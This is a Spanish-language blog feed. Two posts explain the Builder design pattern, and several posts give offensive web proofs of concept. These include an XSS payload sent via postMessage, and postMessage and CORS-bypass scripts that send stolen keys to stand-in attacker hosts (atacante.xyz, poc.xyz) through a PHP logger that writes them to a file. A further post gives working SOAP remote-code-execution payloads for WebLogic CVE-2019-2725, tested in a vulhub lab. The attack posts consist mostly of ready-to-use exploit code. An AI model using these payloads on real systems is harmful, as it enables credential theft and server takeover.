<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo1lvbvtm-88f_ngwbysJxIHINtiG1k1-q2jxR1QW4qG5XQYanMUZx1M3pborY9tkq3jnZOft9-0K0CaVSLrACgsxnKVVfMCe4_WBGC-4AN_TQLrNhVDTqkWZ8nUu1jqGwNI0dTfuW8Sc/s1600/g13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="382" data-original-width="743" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo1lvbvtm-88f_ngwbysJxIHINtiG1k1-q2jxR1QW4qG5XQYanMUZx1M3pborY9tkq3jnZOft9-0K0CaVSLrACgsxnKVVfMCe4_WBGC-4AN_TQLrNhVDTqkWZ8nUu1jqGwNI0dTfuW8Sc/s640/g13.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<b><span style="font-size: large;">Opcion 2:</span></b><br />
<span style="font-size: x-large;"><span style="font-size: small;">Usaremos la opción que es muy usada en frameworks (algunos).</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">Esta opción es más limpia. </span></span><br />
<br />
<span style="font-size: x-large;"><span style="font-size: small;"><b>ProductoHelado:</b> objeto que se desea obtener.</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4S4qxfutJEp31cBXKZns8dPZJ1fLsCJ5DE7s3dOeIDBAOCfw7y0hNFRhY4cEioizmICwGVGZ8wQP6PbtI95c_wBKwnYQ_B_hF_jd76i5wQ3G_XDHhJk4AWEp3iwKJGE3M9OjZjsnyy0M/s1600/g14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="323" data-original-width="683" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4S4qxfutJEp31cBXKZns8dPZJ1fLsCJ5DE7s3dOeIDBAOCfw7y0hNFRhY4cEioizmICwGVGZ8wQP6PbtI95c_wBKwnYQ_B_hF_jd76i5wQ3G_XDHhJk4AWEp3iwKJGE3M9OjZjsnyy0M/s640/g14.png" width="640" /></a></div>
<span style="font-size: x-large;"><span style="font-size: small;"><b>Builder:</b> se encarga de recibir los valores que tendra el objeto a crear.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">La forma en la que estan declarados los metodos permite tener orden al generar el bojeto desde la clase principal (Main).</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsm8YwHJCPuAWUYV38Q9vgvU5cWe1sNmrokPtOjBmTQ9XA0XrLkXc3MNbH0-eHkxCwsZ3PwfKzoezOKUO-rnhoQwYcNqql-wwm7WhzarQYIRy5YWPBqiynkyx85THORbGV9tNNq6WPw8c/s1600/g15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="483" data-original-width="523" height="590" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsm8YwHJCPuAWUYV38Q9vgvU5cWe1sNmrokPtOjBmTQ9XA0XrLkXc3MNbH0-eHkxCwsZ3PwfKzoezOKUO-rnhoQwYcNqql-wwm7WhzarQYIRy5YWPBqiynkyx85THORbGV9tNNq6WPw8c/s640/g15.png" width="640" /></a></div>
<span style="font-size: x-large;"><span style="font-size: small;"><b>Main:</b> Se encarga de generar el ProductoHelado usando el Builder.</span></span><br />
<span style="font-size: x-large;"><span style="font-size: small;">Gracias a la forma de declarar los objetos en el Builder se puede generar un objeto de la forma en que se puede apreciar. </span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiECNDvSvRJ5905hjz4I0zRc24FHW8FPn12Sa48xRa2mjFBUCfW-n-VHp3tX42Zf9d5dAqm2InN1GXaF8FBo9Dw0c0S6f8EaXd0XK9uBwqzHYXzuvoRgDoQZ2N12wfup2rPytMByUXX1h4/s1600/g16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="399" data-original-width="483" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiECNDvSvRJ5905hjz4I0zRc24FHW8FPn12Sa48xRa2mjFBUCfW-n-VHp3tX42Zf9d5dAqm2InN1GXaF8FBo9Dw0c0S6f8EaXd0XK9uBwqzHYXzuvoRgDoQZ2N12wfup2rPytMByUXX1h4/s640/g16.png" width="640" /></a></div>
<span style="font-size: x-large;"><span style="font-size: small;"><br /></span></span>rotcehhttp://www.blogger.com/profile/02247242126779933450noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-82218562868643210052019-10-29T22:20:00.001-07:002019-10-29T22:23:30.279-07:00<h2>
<span style="font-size: x-large;"><b>Patron de diseño Builder - parte 1</b></span></h2>
<h2>
<span style="font-size: x-large;"><b> </b></span></h2>
El patron de diseño Builder nos permite crear objetos complejos<b> </b>centralizando el proceso de creación en un único punto. Esto nos permite tener un único proceso de construcción que es capaz de construir distintos objetos complejos.<br />
<br />
<b></b>
<br />
<h4>
<span style="font-size: large;">Ventajas:</span></h4>
-Reduce el acoplamiento de código.<br />
-El proceso de creación es centralizado.<br />
-Alta flexibilidad al crear el objeto.<br />
-Facil de mantener por otros programadores.<br />
<h4>
<span style="font-size: large;"> </span></h4>
<h4>
<span style="font-size: large;">Donde aplica:</span></h4>
Un buen momento para usarlo es cuando pretendemos crear un objeto con varios atributos, entre obligatorios y opcionales.<br />
<br />
<br />
<h4>
<span style="font-size: large;">Partes que lo componen:</span></h4>
<h4>
<span style="font-size: large;"> </span></h4>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4CNSbzFe81J_M7oQDWIva_HbznukTrKA-JNQQB8cimks9dRQ908enxd29q6JNgao0Wmzqp_Yj01hNinJKzm3A_wA22hvhxFDg_knyxRzeZaOWnnSfMDZbkIN7oqEqLgOKW-RQVexqpo4/s1600/g6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="166" data-original-width="497" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4CNSbzFe81J_M7oQDWIva_HbznukTrKA-JNQQB8cimks9dRQ908enxd29q6JNgao0Wmzqp_Yj01hNinJKzm3A_wA22hvhxFDg_knyxRzeZaOWnnSfMDZbkIN7oqEqLgOKW-RQVexqpo4/s640/g6.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<h4>
<span style="font-size: large;">Ejemplo:</span></h4>
Supongamos que tenemos una clase que contiene atributos opcionales y se quieren enviar por el contructor.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzLM6tgxMUx8zlihW6N60-yu0NPru7E8ZeONopyhhmVugpXt1Ord7oFIk77dubhzoRtWjCfHBIL-gmvTDOnXEXLzCQmwHSjE2WfYUz62qKyVKHh3kYODCeRImGnVg4K3ifxLzlYBtsN0s/s1600/g1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="369" data-original-width="582" height="404" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzLM6tgxMUx8zlihW6N60-yu0NPru7E8ZeONopyhhmVugpXt1Ord7oFIk77dubhzoRtWjCfHBIL-gmvTDOnXEXLzCQmwHSjE2WfYUz62qKyVKHh3kYODCeRImGnVg4K3ifxLzlYBtsN0s/s640/g1.png" width="640" /></a></div>
Podriamos tener una gran cantidad de constructores segun la información que consideramos necesaria u opcional.<br />
<br />
Allí es donde podemos usar el patron de dieño Builder (Este metodo es el que he visto que usan muchos framework):<br />
<br />
MAIN:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfuSrA7P4rRMaBc0zb2uxW2dHQTFgF0k0TWhA62pOxF3Apx2NNAOlP07WgEeIvhCl5fTfamSvzUlrQYvqdN0kYNstta4989SaUcCRzej1HPXgbBLWO5r16LWdsLCOPKiaivP2JZ0zV6kw/s1600/g2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="317" data-original-width="441" height="460" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfuSrA7P4rRMaBc0zb2uxW2dHQTFgF0k0TWhA62pOxF3Apx2NNAOlP07WgEeIvhCl5fTfamSvzUlrQYvqdN0kYNstta4989SaUcCRzej1HPXgbBLWO5r16LWdsLCOPKiaivP2JZ0zV6kw/s640/g2.png" width="640" /></a></div>
<br />
Clase Usuario de donde se quiere tener los objetos:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimcCXnZAIABX3-4pPx3G__YxhZycuF-F9-BWZqFz_1UQR9EjhNT01RX0JTFzaTCc-n0RRDvGw-brew-QFAdUPSwX_Z6crHJjr7ZmzTLJizZLmf1ZVjMwLMTMF416jSaNTi6x8N8tyroSk/s1600/g3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="351" data-original-width="465" height="482" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimcCXnZAIABX3-4pPx3G__YxhZycuF-F9-BWZqFz_1UQR9EjhNT01RX0JTFzaTCc-n0RRDvGw-brew-QFAdUPSwX_Z6crHJjr7ZmzTLJizZLmf1ZVjMwLMTMF416jSaNTi6x8N8tyroSk/s640/g3.png" width="640" /></a></div>
<br />
Builder: Fijarse en la forma que tiene los metodos. Esto nos permite generar el objeto de la forma en la que se muestra en el Main:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikZ2jJ3YdFh3n6YtOIEs58iCnIcdLnHv68v1DOof6GM936HrQe8oagQg1z6kB40GZ7CG_yzmoR4tsc1r-E3jnAXIjyCJg8LPaW5SuWh8XVeKfNMHFg7dGTtLyl3A10NILrI5LP-w7gvvQ/s1600/g4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="398" data-original-width="438" height="580" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikZ2jJ3YdFh3n6YtOIEs58iCnIcdLnHv68v1DOof6GM936HrQe8oagQg1z6kB40GZ7CG_yzmoR4tsc1r-E3jnAXIjyCJg8LPaW5SuWh8XVeKfNMHFg7dGTtLyl3A10NILrI5LP-w7gvvQ/s640/g4.png" width="640" /> </a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiel8yuAe_heTCqP70kpeVhTzZqBMfTUDV1a5HjmVZwZaumQVFqzd62dDV5DAmjjvqDotnpH-tg4mZkz47HbPvJTo2NyNX5xSqZ_i-1AMpkdzl9GvAktE4RWopiFYsGejWe31sZeYcgM2A/s1600/g5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="256" data-original-width="413" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiel8yuAe_heTCqP70kpeVhTzZqBMfTUDV1a5HjmVZwZaumQVFqzd62dDV5DAmjjvqDotnpH-tg4mZkz47HbPvJTo2NyNX5xSqZ_i-1AMpkdzl9GvAktE4RWopiFYsGejWe31sZeYcgM2A/s640/g5.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<br />
Mira la segunda parte en donde expondremos un ejemplo usando el Patron Builder de 2 formas.<br />
<span style="font-size: large;"><a href="https://arthusu.blogspot.com/2019/10/patron-de-diseno-builder-parte-2-si-te.html">Ver la 2 parte</a></span><br />
<br />
<br />
<br />rotcehhttp://www.blogger.com/profile/02247242126779933450noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-33471991705006674492019-06-11T15:58:00.001-07:002019-06-11T15:58:26.810-07:00xss Via PostMessage<span style="font-family: Courier New, Courier, monospace;">Poc ejemplo xss PostMessage, id y value deben cambiarse dependiendo de el codigo de postMessage.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><a href="#" onclick="xss()">click me</a></span><br />
<span style="font-family: Courier New, Courier, monospace;"><script></span><br />
<span style="font-family: Courier New, Courier, monospace;">function xss() {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> var win = window.open('http://victima.com/', '_blank');</span><br />
<span style="font-family: Courier New, Courier, monospace;"> setTimeout(function() {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> <span style="white-space: pre;"> </span>win.postMessage({"id":1,"value":"<img src=x onerror=alert(document.domain)>"}, '*');</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }, 1000);</span><br />
<span style="font-family: Courier New, Courier, monospace;">}</span><br />
<span style="font-family: Courier New, Courier, monospace;"></script></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-29769608063733556162019-06-11T15:32:00.000-07:002019-06-11T15:32:10.012-07:00postMessage Robo de Datos + Guardado en archivo log<span style="font-family: Courier New, Courier, monospace;">El siguiente es un Poc para robo de datos utilizando postMessage:</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><script></span><br />
<span style="font-family: Courier New, Courier, monospace;"> function listener(event) {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> //alert(event.data.value);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> var str = event.data.value;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> var xmlhttp; </span><br />
<span style="font-family: Courier New, Courier, monospace;"> if (window.XMLHttpRequest) </span><br />
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp=new XMLHttpRequest(); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;"> else </span><br />
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> params = "keys="+str; </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.open("POST","http://atacante.xyz/postMessage.php",false); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.send(params); </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> var dest = window.open("http://vulnerable.com/keys");</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"> window.addEventListener("message", listener);</span><br />
<span style="font-family: Courier New, Courier, monospace;"></script></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><?php</span><br />
<span style="font-family: Courier New, Courier, monospace;"> if(isset($_POST['keys'])){</span><br />
<span style="font-family: Courier New, Courier, monospace;"> $cookie = $_POST['keys'];</span><br />
<span style="font-family: Courier New, Courier, monospace;"> $steal = fopen("log.txt", "a");</span><br />
<span style="font-family: Courier New, Courier, monospace;"> fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name</span><br />
<span style="font-family: Courier New, Courier, monospace;"> fclose($steal);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">?></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Informacion sobre esto: <a href="https://github.com/EdOverflow/bugbountywiki/wiki/postMessage-issues">https://github.com/EdOverflow/bugbountywiki/wiki/postMessage-issues</a></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-60620143554442060112019-06-11T14:35:00.003-07:002019-06-11T14:35:53.041-07:00CORS Bypass 2 - Guardando Resultados en Archivo<span style="font-family: Courier New, Courier, monospace;"><!DOCTYPE html> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><html> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><head> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><script> </span><br />
<span style="font-family: Courier New, Courier, monospace;">function hack() </span><br />
<span style="font-family: Courier New, Courier, monospace;">{ </span><br />
<span style="font-family: Courier New, Courier, monospace;"> var xmlhttp; </span><br />
<span style="font-family: Courier New, Courier, monospace;"> if (window.XMLHttpRequest) </span><br />
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp=new XMLHttpRequest(); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;"> else </span><br />
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.open("POST","http://api-xdxdxdxd/api/v1/keys",false); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.withCredentials = true; </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.send(null); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> if(xmlhttp.status==200) </span><br />
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: Courier New, Courier, monospace;"> var str = document.getElementById("demo").innerHTML = xmlhttp.responseText;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> params = "keys="+str; </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.open("POST","http://poc.xyz/poc_cors.php",false); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> xmlhttp.send(params); </span><br />
<span style="font-family: Courier New, Courier, monospace;"> } </span><br />
<span style="font-family: Courier New, Courier, monospace;">} </span><br />
<span style="font-family: Courier New, Courier, monospace;"></script> </span><br />
<span style="font-family: Courier New, Courier, monospace;"></head> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><body onload="hack();"> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><div id="demo"></div></span><br />
<span style="font-family: Courier New, Courier, monospace;"></body> </span><br />
<span style="font-family: Courier New, Courier, monospace;"><?php</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>if(isset($_POST['keys'])){</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>$cookie = $_POST['keys'];</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>$steal = fopen("log.txt", "a");</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>fclose($steal);</span><br />
<span style="font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>}</span><br />
<span style="font-family: Courier New, Courier, monospace;">?></span><br />
<span style="font-family: Courier New, Courier, monospace;"></html></span>Arthusuhttp://www.blogger.com/profile/07251487834367553805noreply@blogger.com0tag:blogger.com,1999:blog-2586919884408211723.post-760179311405868912019-05-09T08:44:00.000-07:002019-05-09T08:44:18.939-07:00WebLogic CVE-2019-2725/CNVD-C-2019-48814<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO2Rh0rrSmhP9Ea_56IMofqcJlGf6VxsJVJyi1tEPvlz333MuVxetLZeBmbP7JYc30WnfB911s1SgS2dRoU6mTAiTBljY2F1CZaoTMji_JmEyI13ErnD0ZrNSzkd64pljSsLURIemj6WKZ/s1600/Screenshot_296.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="236" data-original-width="1363" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO2Rh0rrSmhP9Ea_56IMofqcJlGf6VxsJVJyi1tEPvlz333MuVxetLZeBmbP7JYc30WnfB911s1SgS2dRoU6mTAiTBljY2F1CZaoTMji_JmEyI13ErnD0ZrNSzkd64pljSsLURIemj6WKZ/s640/Screenshot_296.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Instalación de maquina vulnerable:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">1.- sudo docker pull vulhub/weblogic</span><br />
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">2.- sudo docker run -dit -p 7001:7001 vulhub/weblogic</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Descripcion:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Oracle WebLogic Server es un middleware para implementar y administrar aplicaciones web. Un atacante podría enviar una solicitud a un servidor WebLogic, que luego se comunicaría con un host malicioso para completar la solicitud, abriendo el servidor WebLogic a un ataque RCE.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Impacto:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Los ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle WebLogic Server.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>URLs Posibles:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">/_async/AsyncResponseService</span><br />
<span style="font-family: Courier New, Courier, monospace;">/_async/AsyncResponseServiceHttps</span><br />
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;">/_async/AsyncResponseServiceJms</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Vector de ataque para Linux:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <soapenv:Header></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <wsa:Action>xx</wsa:Action></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <wsa:RelatesTo>xx</wsa:RelatesTo></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void class="java.lang.ProcessBuilder"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <array class="java.lang.String" length="3"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void index="0"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <string>/bin/bash</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void index="1"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <string>-c</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void index="2"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <string>ping xxx.burpcollaborator.net</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </array></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void method="start"/></void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </work:WorkContext></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </soapenv:Header></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <soapenv:Body></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <asy:onAsyncDelivery/></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </soapenv:Body></soapenv:Envelope></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><b>Vector de ataque para windows:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <soapenv:Header></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <wsa:Action>xx</wsa:Action></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <wsa:RelatesTo>xx</wsa:RelatesTo></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void class="java.lang.ProcessBuilder"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <array class="java.lang.String" length="3"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void index="0"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <string>cmd</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void index="1"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <string>/c</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void index="2"></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <string>ping xxx.burpcollaborator.net</string></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </array></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <void method="start"/></void></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </work:WorkContext></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </soapenv:Header></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <soapenv:Body></span><br />
<span style="font-family: Courier New, Courier, monospace;"> <asy:onAsyncDelivery/></span><br />
<span style="font-family: Courier New, Courier, monospace;"> </soapenv:Body></soapenv:Envelope></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>Pasos a Realizar:</b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Se ejecutaron pruebas de seguridad con los dos vectores de ataques para windows y linux en todos los puntos finales (URLs posibles) posibles en la aplicacion.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">1.- Enviar los payloads a todos los posibles puntos finales de la aplicacion y ver si burp collaborator atrapa el ping enviado.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFv53iuZ-Er-05qovSfThOjp__1Zh8PAj0rxnyQFsqDyPXcXmn5dgRR0acDpQIYayn2DlNIcA7F12oT0fjhddrubpQWzsHnbwfIAAwNTI3g9KZG_15t4cla-9xy7xhML_xn6tdkB-0k9UM/s1600/Screenshot_297.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="573" data-original-width="1361" height="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFv53iuZ-Er-05qovSfThOjp__1Zh8PAj0rxnyQFsqDyPXcXmn5dgRR0acDpQIYayn2DlNIcA7F12oT0fjhddrubpQWzsHnbwfIAAwNTI3g9KZG_15t4cla-9xy7xhML_xn6tdkB-0k9UM/s640/Screenshot_297.png" width="640" /></a></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
